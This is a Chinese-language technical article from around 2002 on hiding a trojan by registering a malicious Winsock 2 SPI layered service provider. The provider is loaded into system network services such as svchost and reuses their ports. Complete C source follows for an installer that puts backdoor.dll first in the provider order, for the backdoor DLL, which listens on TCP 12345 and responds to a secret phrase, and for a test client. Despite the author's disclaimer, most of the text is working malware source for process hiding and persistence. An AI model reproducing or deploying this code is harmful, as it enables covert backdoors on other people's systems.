一.Windows下進(jìn)程的隱藏
二.Windows Socket 2 SPI技術(shù)概述
三.基于SPI的DLL木馬技術(shù)
四.主要代碼分析
五.小結(jié)與后記
六.附錄之源代碼
一)Windows下進(jìn)程的隱藏
在M$的32位操作系統(tǒng)中,有許許多多的辦法可以實(shí)現(xiàn)進(jìn)程隱藏的功能。在Win98下將程序注冊(cè)為系統(tǒng)服務(wù)就可以實(shí)現(xiàn)在進(jìn)程列表里的隱藏,但是在NT/2000下,由于操作系統(tǒng)添加了許多特性使得進(jìn)程的隱藏提到了一個(gè)新的高度。其中,DLL木馬是非常流行的一種形式,它將自己添加到其他可執(zhí)行文件的進(jìn)程里,這樣在任務(wù)管理器里就不會(huì)出現(xiàn)我們的DLL文件,而是我們DLL的載體EXE文件。在Jeffrey Richter大師的文章里提到了好幾種插入DLL的方式,比如說(shuō)在注冊(cè)表的AppInit_DLLs里添加木馬DLL,特洛伊DLL方式,使用Windows掛鉤和遠(yuǎn)程線程的插入等等,在此我就不做詳細(xì)介紹了,F(xiàn)在給大家介紹一種隱藏進(jìn)程的新方法,它仍然是以DLL的形式存在的(同樣需要由其他可執(zhí)行文件來(lái)加載),而且還具有無(wú)端口的特性。它就是使用了Windows Socket 2的新特性,服務(wù)提供者接口(Service Provider Interface),SPI試圖支持所有的32位Windows操作系統(tǒng),當(dāng)然也包括Windows95。
二)Windows Socket 2 SPI技術(shù)概述
Winsock 2 SPI是一個(gè)新特性,是為書(shū)寫(xiě)服務(wù)提供者的人員提供的。Winsock 2不僅提供了一個(gè)供應(yīng)用程序訪問(wèn)網(wǎng)絡(luò)服務(wù)的Windows socket應(yīng)用程序編程接口(API),還包含了由傳輸服務(wù)提供者和名字解析服務(wù)提供者實(shí)現(xiàn)的Winsock服務(wù)提供者接口(SPI)和ws2_32.dll。在此以傳輸服務(wù)提供者為例來(lái)實(shí)現(xiàn)進(jìn)程的隱藏。如下是應(yīng)用程序,Ws2_32.dll和傳輸服務(wù)提供者接口之間的層次關(guān)系:
----------------------------
|Windows socket 2 應(yīng)用程序|
----------------------------Windows socket 2 API
| WS2_32.DLL |
----------------------------Windows socket 2 傳輸SPI
| 傳輸服務(wù)提供者(DLL) |
----------------------------
傳輸服務(wù)提供者是以DLL的形式存在的,它向外只有一個(gè)入口函數(shù),那就是WSPStartup,其中的參數(shù)LPWSAPRTOCOL_INFOW結(jié)構(gòu)指針決定了服務(wù)提供者的類型,其他的30個(gè)傳輸服務(wù)提供者函數(shù)是以分配表的方式調(diào)用的。當(dāng)網(wǎng)絡(luò)應(yīng)用程序調(diào)用WSASocket/socket函數(shù)創(chuàng)建套接字時(shí),會(huì)有三個(gè)參數(shù):地址族,套接字類型和協(xié)議,正是這三個(gè)參數(shù)共同決定了是由哪一個(gè)類型的傳輸服務(wù)提供者來(lái)實(shí)現(xiàn)本應(yīng)用程序的功能。在整個(gè)層次結(jié)構(gòu)中,Ws2_32.dll只是起到了媒介的作用,應(yīng)用程序則是對(duì)用戶功能的實(shí)現(xiàn),而真正實(shí)現(xiàn)網(wǎng)絡(luò)傳輸功能的是傳輸服務(wù)提供者接口。當(dāng)前系統(tǒng)中有一些默認(rèn)的服務(wù)提供者,它們已經(jīng)實(shí)現(xiàn)了大部分基本的功能,所以我們自己在書(shū)寫(xiě)服務(wù)提供者程序時(shí),只須對(duì)數(shù)據(jù)報(bào)進(jìn)行“修飾”后,將數(shù)據(jù)報(bào)傳送給系統(tǒng)服務(wù)提供者來(lái)實(shí)現(xiàn)剩下的功能。
在服務(wù)提供者中有三種協(xié)議:分層協(xié)議,基礎(chǔ)協(xié)議和協(xié)議鏈。區(qū)分它們的方法是通過(guò)結(jié)構(gòu)WSAPROTOCOL_INFOW中的Protocolchain結(jié)構(gòu)的ChainLen值來(lái)實(shí)現(xiàn)的。分層協(xié)議的ChainLen值為0,基礎(chǔ)協(xié)議的值為1,而協(xié)議鏈的值是大于1。其實(shí)分層協(xié)議和基礎(chǔ)協(xié)議在功能實(shí)現(xiàn)上沒(méi)有太大的區(qū)別(均可通過(guò)調(diào)用系統(tǒng)服務(wù)提供者實(shí)現(xiàn)數(shù)據(jù)轉(zhuǎn)發(fā)),但是在安裝上卻有很大的不同。安裝基礎(chǔ)協(xié)議時(shí)我們把所有的基礎(chǔ)服務(wù)提供者的DLL文件名和路徑都替換為我們自定義的基礎(chǔ)協(xié)議;而安裝分層協(xié)議后,我們還必須將和分層協(xié)議有關(guān)的各個(gè)協(xié)議組成協(xié)議鏈,然后再安裝協(xié)議鏈。在所有的服務(wù)提供者都安裝完后,我們還必須重新排列它們的安裝順序,這一點(diǎn)很重要。當(dāng)我們的WSASocket/socket創(chuàng)建套接字時(shí),Ws2_32.dll就會(huì)在服務(wù)提供者數(shù)據(jù)庫(kù)中按順序搜索和WSAStartup/socket提供的三個(gè)參數(shù)相匹配的服務(wù)提供者,如果同時(shí)有兩個(gè)相同類型的服務(wù)提供者存在于服務(wù)提供者數(shù)據(jù)庫(kù)中,那么順序在前的那個(gè)服務(wù)提供者就會(huì)被調(diào)用。通常,在我們安裝完自己的服務(wù)提供者后,都會(huì)將自己的服務(wù)提供者重新排列在最前面。在實(shí)例instBD.exe中,我們以分層協(xié)議為例,展示如何安裝傳輸服務(wù)提供者。
Ws2_32.dll是使用標(biāo)準(zhǔn)的動(dòng)態(tài)鏈接庫(kù)來(lái)加載服務(wù)提供者接口的DLL到系統(tǒng)中去的,并調(diào)用WSPStartup來(lái)初始化。WSPStartup是Windows Socket 2應(yīng)用程序調(diào)用SPI程序的初始化函數(shù),也就是入口函數(shù)。WSPStartup的參數(shù)LPWSAPROTOCOL_INFOW指針提供應(yīng)用程序所期望的協(xié)議信息,然后通過(guò)這個(gè)結(jié)構(gòu)指針我們可以獲得所保存的系統(tǒng)服務(wù)提供者的DLL名稱和路徑,加載系統(tǒng)服務(wù)提供者后查找到系統(tǒng)SPI程序的WSPStartup函數(shù)的指針,通過(guò)這個(gè)指針我們就可以將自己服務(wù)提供者的WSPStartup函數(shù)和系統(tǒng)SPI程序的WSPStartup函數(shù)相關(guān)聯(lián),進(jìn)而調(diào)用系統(tǒng)的各個(gè)服務(wù)提供者函數(shù)。在數(shù)據(jù)傳輸服務(wù)提供者的實(shí)現(xiàn)中,我們需要兩個(gè)程序,一個(gè)是可執(zhí)行文件用來(lái)安裝傳輸服務(wù)提供者;另一個(gè)就是DLL形式的數(shù)據(jù)傳輸服務(wù)提供者。
三)基于SPI的DLL木馬技術(shù)
上面我們已經(jīng)介紹了傳輸服務(wù)提供者的特性,現(xiàn)在讓我們來(lái)看看如果將這種技術(shù)運(yùn)用于木馬進(jìn)程隱藏的。在每個(gè)操作系統(tǒng)中都有系統(tǒng)網(wǎng)絡(luò)服務(wù),它們是在系統(tǒng)啟動(dòng)時(shí)自動(dòng)加載,而且很多是基于IP協(xié)議的。如果我們書(shū)寫(xiě)了一個(gè)IP協(xié)議的傳輸服務(wù)提供者,并安裝在服務(wù)提供者數(shù)據(jù)庫(kù)的最前端,系統(tǒng)網(wǎng)絡(luò)服務(wù)就會(huì)加載我們的服務(wù)提供者。如果將木馬程序嵌入到服務(wù)提供者的DLL文件之中,在啟動(dòng)系統(tǒng)網(wǎng)絡(luò)服務(wù)時(shí)我們的木馬程序也會(huì)被啟動(dòng)。這種形式的DLL木馬只須被安裝一次,而后就會(huì)被自動(dòng)加載到可執(zhí)行文件的進(jìn)程中,還有一個(gè)特點(diǎn)就是它會(huì)被多個(gè)網(wǎng)絡(luò)服務(wù)加載。通常在系統(tǒng)關(guān)閉時(shí),系統(tǒng)網(wǎng)絡(luò)服務(wù)才會(huì)結(jié)束,所以我們的木馬程序同樣可以在系統(tǒng)運(yùn)行時(shí)保持激活狀態(tài)。
在傳輸服務(wù)提供者中,有30個(gè)SPI函數(shù)是以分配表的形式存在的。在Ws2_32.dll中的大多數(shù)函數(shù)都有與之對(duì)應(yīng)的傳輸服務(wù)提供者函數(shù)。如WSPRecv和WSPSend,它們?cè)赪s2_32.dll中的對(duì)應(yīng)函數(shù)是WSARecv和WSASend。我們假設(shè)自己編寫(xiě)了一個(gè)基于IP協(xié)議的服務(wù)提供者并安裝于系統(tǒng)之中,當(dāng)系統(tǒng)重啟時(shí)它被svchost.exe程序加載了,而且svchost.exe在135/TCP監(jiān)聽(tīng),完事具備了。在我們的傳輸服務(wù)提供者中,自己重新編寫(xiě)了WSPRecv函數(shù),對(duì)接收到的數(shù)據(jù)進(jìn)行分析,如果其中含有客戶端發(fā)送過(guò)來(lái)的暗號(hào),就執(zhí)行相應(yīng)的命令獲得期望的動(dòng)作,之后我們可以調(diào)用WSPSend函數(shù)將結(jié)果發(fā)送到客戶端,這樣不僅隱藏了進(jìn)程,而且還重用了已有的端口。
四)主要代碼分析
1.instBD.exe
可執(zhí)行程序instBD.exe的主要功能是安裝我們自己的分層傳輸服務(wù)提供者,并重新排列所有傳輸服務(wù)提供者的順序,使我們的服務(wù)提供者位于協(xié)議鏈的頂端,這樣相應(yīng)類型的應(yīng)用程序就會(huì)首先進(jìn)入我們的傳輸服務(wù)提供者接口。本程序只有一個(gè)參數(shù),就是安裝(-install)或卸載(-remove)。作為演示,本程序只安裝了IP分層協(xié)議及與TCP相關(guān)的協(xié)議鏈。在backdoor.dll中,我們不對(duì)數(shù)據(jù)報(bào)進(jìn)行任何修飾,只是在啟動(dòng)我們的木馬進(jìn)程。
自定義函數(shù):
BOOL getfilter(); //獲得所有已經(jīng)安裝的傳輸服務(wù)提供者
void freefilter(); //釋放存儲(chǔ)空間
void installfilter(); //安裝分層協(xié)議,協(xié)議鏈及排序
void removefilter(); //卸載分層協(xié)議和協(xié)議鏈
代碼分析:
protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);
//分配WSAPROTOCOL_INFOW結(jié)構(gòu)的存儲(chǔ)空間
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);
//獲得系統(tǒng)中已安裝的所有服務(wù)提供者
GetCurrentDirectory(MAX_PATH,filter_path);
//得到當(dāng)前的路徑
_tcscpy(filter_name,_T("\\backdoor.dll"));
//構(gòu)造服務(wù)提供者文件backdoor.dll的路徑全名
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);
//安裝自定義的IP分層協(xié)議
iplayercataid=protoinfo[i].dwCatalogEntryId;
//獲得已安裝自定義IP分層協(xié)議的由Ws2_32.dll分配的唯一標(biāo)志
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
//將自定義的IP分層協(xié)議作為自定義UDP協(xié)議鏈的根分層服務(wù)提供者安裝在協(xié)議鏈的頂端
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode);
//安裝協(xié)議鏈
WSCWriteProviderOrder(cataentries,totalprotos);
//更新所有服務(wù)提供者的安裝順序,把自定義的服務(wù)提供者排在所有協(xié)議的最前列
WSCDeinstallProvider(&filterguid,&errorcode);
//卸載IP分層協(xié)議
WSCDeinstallProvider(&filterchainguid,&errorcode);
//卸載協(xié)議鏈
2.backdoor.dll
傳輸服務(wù)提供者都是以動(dòng)態(tài)鏈接庫(kù)的形式存在的,在應(yīng)用程序需要時(shí)由Ws2_32.dll加載,在用完之后就被卸載。傳輸服務(wù)提供者只有一個(gè)入口函數(shù)就是WSPStartup,它是Windows Socket 應(yīng)用程序調(diào)用SPI的初始化函數(shù),其他SPI函數(shù)的調(diào)用都是通過(guò)WSPStartup的參數(shù)WSPUPCALLTABLE來(lái)實(shí)現(xiàn)的。其中有個(gè)全局變量,可共所有調(diào)用DLL的程序讀取與修改。在首次加載服務(wù)提供者時(shí),我們啟動(dòng)木馬進(jìn)程。演示中木馬進(jìn)程沒(méi)有任何特別的功能,當(dāng)客戶端和監(jiān)聽(tīng)的服務(wù)器端口連接后,如果客戶端發(fā)送了特定的暗號(hào),服務(wù)端就會(huì)回送特定的消息。
自定義函數(shù):
int WSPAPI WSPStartup( WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable);
//SPI函數(shù)WSPStartup和Windows Socket 2的API函數(shù)WSAStartup相對(duì)應(yīng),WSPStartup是唯一的入口函數(shù),剩下的30個(gè)SPI函數(shù)則是通過(guò)參數(shù)upcalltable來(lái)實(shí)現(xiàn)的,它們只能在內(nèi)部調(diào)用,不向外提供入口
代碼分析:
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
//創(chuàng)建木馬進(jìn)程,它只是展示數(shù)據(jù)的流通
GetModuleFileName(NULL,processname,MAX_PATH);
//獲得調(diào)用本服務(wù)提供者動(dòng)態(tài)鏈接庫(kù)的可執(zhí)行文件的全名
OutputDebugString(_T("Start the backdoor ..."));
//輸出調(diào)試信息
layerid=protoinfo[i].dwCatalogEntryId;
//獲得已安裝自定義IP分層協(xié)議的由Ws2_32.dll分配的唯一標(biāo)志
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
//獲得下一層傳輸服務(wù)提供者的標(biāo)志信息
WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);
//獲得下一層傳輸服務(wù)提供者的安裝路徑
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);
//擴(kuò)展環(huán)境變量
hfilter=LoadLibrary(filterpath));
//裝載下一層傳輸服務(wù)提供者
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));
//獲得下一層傳輸服務(wù)提供者的入口函數(shù)WSPStartup,以便調(diào)用
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);
//調(diào)用下一層傳輸服務(wù)提供者的WSPStartup函數(shù),實(shí)現(xiàn)鉤子功能
nextproctable=*lpproctable;
//保存下一層服務(wù)提供者的30個(gè)服務(wù)函數(shù)指針
由于以動(dòng)態(tài)鏈接庫(kù)形式的服務(wù)提供者要向外提供一個(gè)入口函數(shù),因此還須一個(gè)配置文件backdoor.def:
EXPORTS WSPStartup
//向外提供入口函數(shù)WSPStartup
3.testBD.exe
這是一個(gè)測(cè)試程序,用來(lái)檢測(cè)木馬的服務(wù)器端是否正常工作。在它發(fā)送特定的消息到服務(wù)器端后,如果服務(wù)器正常工作就會(huì)回送特定的消息,反之則不會(huì)收到任何消息。由于木馬的服務(wù)器在TCP的12345端口監(jiān)聽(tīng),所以我們的客戶端也是基于TCP協(xié)議的。
五)小結(jié)與后記
本文的目的在于向大家介紹一種編程思路,固不是任何的木馬教程。其實(shí)只有在不斷的對(duì)抗中,技術(shù)和思路才會(huì)不斷的提高。我們只有充分的了解了各種技術(shù),甚至有前瞻的能力才能維護(hù)好網(wǎng)絡(luò)秩序,促進(jìn)網(wǎng)絡(luò)安全的發(fā)展。最后送給大家一句老話:知己知彼,百戰(zhàn)不殆。
六)附錄之源代碼
1.instBD.exe的源代碼
#define UNICODE
#define _UNICODE
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <ws2spi.h>
#include <sporder.h>
GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
GUID filterchainguid={0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
BOOL getfilter();
void freefilter();
void installfilter();
void removefilter();
void start();
void usage();
int totalprotos=0;
DWORD protoinfosize=0;
LPWSAPROTOCOL_INFOW protoinfo=NULL;
int main(int argc,char *argv[])
{
start();
if(argc==2)
{
if(!strcmp(argv[1],"-install"))
{
installfilter();
return 0;
}
else if(!strcmp(argv[1],"-remove"))
{
removefilter();
return 0;
}
}
usage();
return 0;
}
BOOL getfilter()
{
int errorcode;
protoinfo=NULL;
totalprotos=0;
protoinfosize=0;
if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
printf("First WSCEnumProtocols Error: %d\n",errorcode);
return FALSE;
}
}
if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
printf("GlobalAlloc in getfilter Error: %d\n",GetLastError());
return FALSE;
}
if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
printf("Second WSCEnumProtocols Error: %d\n",GetLastError());
return FALSE;
}
printf("Found %d protocols!\n",totalprotos);
return TRUE;
}
void freefilter()
{
GlobalFree(protoinfo);
}
void installfilter()
{
int i;
int provcnt;
int cataindex;
int errorcode;
BOOL rawip=FALSE;
BOOL tcpip=FALSE;
DWORD iplayercataid=0,tcporigcataid;
TCHAR filter_path[MAX_PATH];
TCHAR filter_name[MAX_PATH];
TCHAR chainname[WSAPROTOCOL_LEN+1];
LPDWORD cataentries;
WSAPROTOCOL_INFOW iplayerinfo,tcpchaininfo,chainarray[1];
getfilter();
for(i=0;i<totalprotos;i++)
{
if(!rawip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_IP)
{
rawip=TRUE;
memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}
if(!tcpip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_TCP)
{
tcpip=TRUE;
tcporigcataid=protoinfo[i].dwCatalogEntryId;
memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}
}
_tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER"));
iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;
if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
{
printf("GetCurrentDirectory Error: %d\n",GetLastError());
return ;
}
_tcscpy(filter_name,_TEXT("\\backdoor.dll"));
_tcscat(filter_path,filter_name);
if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider Error: %d\n",errorcode);
return ;
}
freefilter();
getfilter();
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
iplayercataid=protoinfo[i].dwCatalogEntryId;
break;
}
}
provcnt=0;
if(tcpip)
{
swprintf(chainname,_TEXT("TCP FILTER"));
_tcscpy(tcpchaininfo.szProtocol,chainname);
if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
{
tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;
}
else
{
for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)
{
tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];
}
}
tcpchaininfo.ProtocolChain.ChainLen++;
tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));
}
if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider for chain Error: %d\n",errorcode);
return ;
}
freefilter();
getfilter();
if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)
{
printf("GlobalAlloc int installfilter Error: %d\n",errorcode);
return ;
}
cataindex=0;
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0
|| memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0
&& memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}
if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)
{
printf("WSCWriteProviderOrder Error: %d\n",GetLastError());
return ;
}
freefilter();
}
void removefilter()
{
int errorcode;
if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)
{
printf("WSCDeinstall filterguid Error: %d\n",errorcode);
}
if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)
{
printf("WSCDeinstall filterchainguid Error: %d\n",errorcode);
}
return ;
}
void start()
{
printf("Install BackDoor, by TOo2y\n");
printf("E-mail: TOo2y@safechina.net\n");
printf("Homepage: www.safechina.net\n");
printf("Date: 11-3-2002\n\n");
return ;
}
void usage()
{
printf("instBD [ -install | -remove]\n");
return ;
}
2.backdoor.dll的源代碼
#pragma data_seg("Shared")
int dllcount=0;
#pragma data_seg()
#pragma comment (linker,"/section:Shared,rws")
#define UNICODE
#define _UNICODE
#include <ws2spi.h>
#include <tchar.h>
#include <winsock2.h>
GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
LPWSAPROTOCOL_INFOW protoinfo=NULL;
WSPPROC_TABLE nextproctable;
DWORD protoinfosize=0;
HANDLE hmutex;
HANDLE hthread;
POINT nowpt;
int totalprotos=0;
DWORD WINAPI backdoor(LPVOID)
{
SOCKET sock,sockt;
WSADATA wsa;
int iret=0;
char msg[25];
struct sockaddr_in sin;
if(WSAStartup(MAKEWORD(2,2),&wsa))
{
OutputDebugString(_T("WSAStartup Error!"));
return 0;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
OutputDebugString(_T("Socket Error!"));
return 0;
}
sin.sin_addr.s_addr=htons(INADDR_ANY);
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);
if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString(_T("Bind Error!"));
return 0;
}
if(listen(sock,5)==SOCKET_ERROR)
{
OutputDebugString(_T("Listen Error!"));
return 0;
}
while(1)
{
if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
{
OutputDebugString(_T("Accept Error!"));
continue;
}
if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Recv Error!"));
closesocket(sockt);
continue;
}
if(strstr(msg,"i am TOo2y"))
{
memset(msg,0,sizeof(msg));
memcpy(msg,"i am waiting for you !",sizeof(msg)-1);
if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Send Error!"));
closesocket(sockt);
continue;
}
}
OutputDebugString(_T("Transport Successfully"));
closesocket(sockt);
}
return 1;
}
BOOL getfilter()
{
int errorcode;
protoinfo=NULL;
protoinfosize=0;
totalprotos=0;
if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
OutputDebugString(_T("First WSCEnumProtocols Error!"));
return FALSE;
}
}
if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
OutputDebugString(_T("GlobalAlloc Error!"));
return FALSE;
}
if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
OutputDebugString(_T("Second WSCEnumProtocols Error!"));
return FALSE;
}
return TRUE;
}
void freefilter()
{
GlobalFree(protoinfo);
}
BOOL WINAPI DllMain(HINSTANCE hmodule,
DWORD reason,
LPVOID lpreserved)
{
TCHAR processname[MAX_PATH];
TCHAR showmessage[MAX_PATH+25];
switch(reason)
{
case DLL_PROCESS_ATTACH:
{
GetModuleFileName(NULL,processname,MAX_PATH);
_tcscpy(showmessage,processname);
_tcscat(showmessage,_T(" Loading my dll ..."));
OutputDebugString(showmessage);
hmutex=CreateMutex(NULL,FALSE,NULL);
WaitForSingleObject(hmutex,INFINITE);
dllcount++;
if(dllcount==1)
{
OutputDebugString(_T("Start the backdoor ..."));
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
}
ReleaseMutex(hmutex);
break;
}
case DLL_PROCESS_DETACH:
{
WaitForSingleObject(hmutex,INFINITE);
dllcount--;
if(dllcount==0)
{
CloseHandle(hthread);
}
ReleaseMutex(hmutex);
CloseHandle(hthread);
break;
}
}
return TRUE;
}
int WSPAPI WSPStartup(
WORD wversionrequested,
LPWSPDATA lpwspdata,
LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,
LPWSPPROC_TABLE lpproctable)
{
int i;
int errorcode;
int filterpathlen;
DWORD layerid=0;
DWORD nextlayerid=0;
TCHAR *filterpath;
HINSTANCE hfilter;
LPWSPSTARTUP wspstartupfunc=NULL;
if(lpprotoinfo->ProtocolChain.ChainLen<=1)
{
OutputDebugString(_T("ChainLen<=1"));
return FALSE;
}
getfilter();
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
layerid=protoinfo[i].dwCatalogEntryId;
break;
}
}
for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
{
if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
{
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
break;
}
}
filterpathlen=MAX_PATH;
filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);
for(i=0;i<totalprotos;i++)
{
if(nextlayerid==protoinfo[i].dwCatalogEntryId)
{
if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
{
OutputDebugString(_T("WSCGetProviderPath Error!"));
return WSAEPROVIDERFAILEDINIT;
}
break;
}
}
if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
{
OutputDebugString(_T("ExpandEnvironmentStrings Error!"));
return WSAEPROVIDERFAILEDINIT;
}
if((hfilter=LoadLibrary(filterpath))==NULL)
{
OutputDebugString(_T("LoadLibrary Error!"));
return WSAEPROVIDERFAILEDINIT;
}
if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
{
OutputDebugString(_T("GetProcessAddress Error!"));
return WSAEPROVIDERFAILEDINIT;
}
if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
{
OutputDebugString(_T("wspstartupfunc Error!"));
return errorcode;
}
nextproctable=*lpproctable;
freefilter();
return 0;
}
3.testBD.exe的源代碼
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
int main()
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in sin;
char msg[25]="i am TOo2y";
int iret;
printf("===[ Test for SPI BackDoor ]===\n");
printf("===[ TOo2y at 11-3-2002 ]===\n\n");
if(WSAStartup(MAKEWORD(2,2),&wsa))
{
printf("WSAStartup Error: %d\n",WSAGetLastError());
getche();
return -1;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket Error: %d\n",WSAGetLastError());
getche();
return -1;
}
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("Connect Error: %d\n",WSAGetLastError());
getche();
return -1;
}
if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
{
printf("Send Error: %d\n",WSAGetLastError());
getche();
return -1;
}
memset(msg,0,sizeof(msg));
if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
{
printf("Recv Error: %d\n",WSAGetLastError());
getche();
return -1;
}
printf("Re: ");
printf(msg);
closesocket(sock);
WSACleanup();
getche();
return 0;
}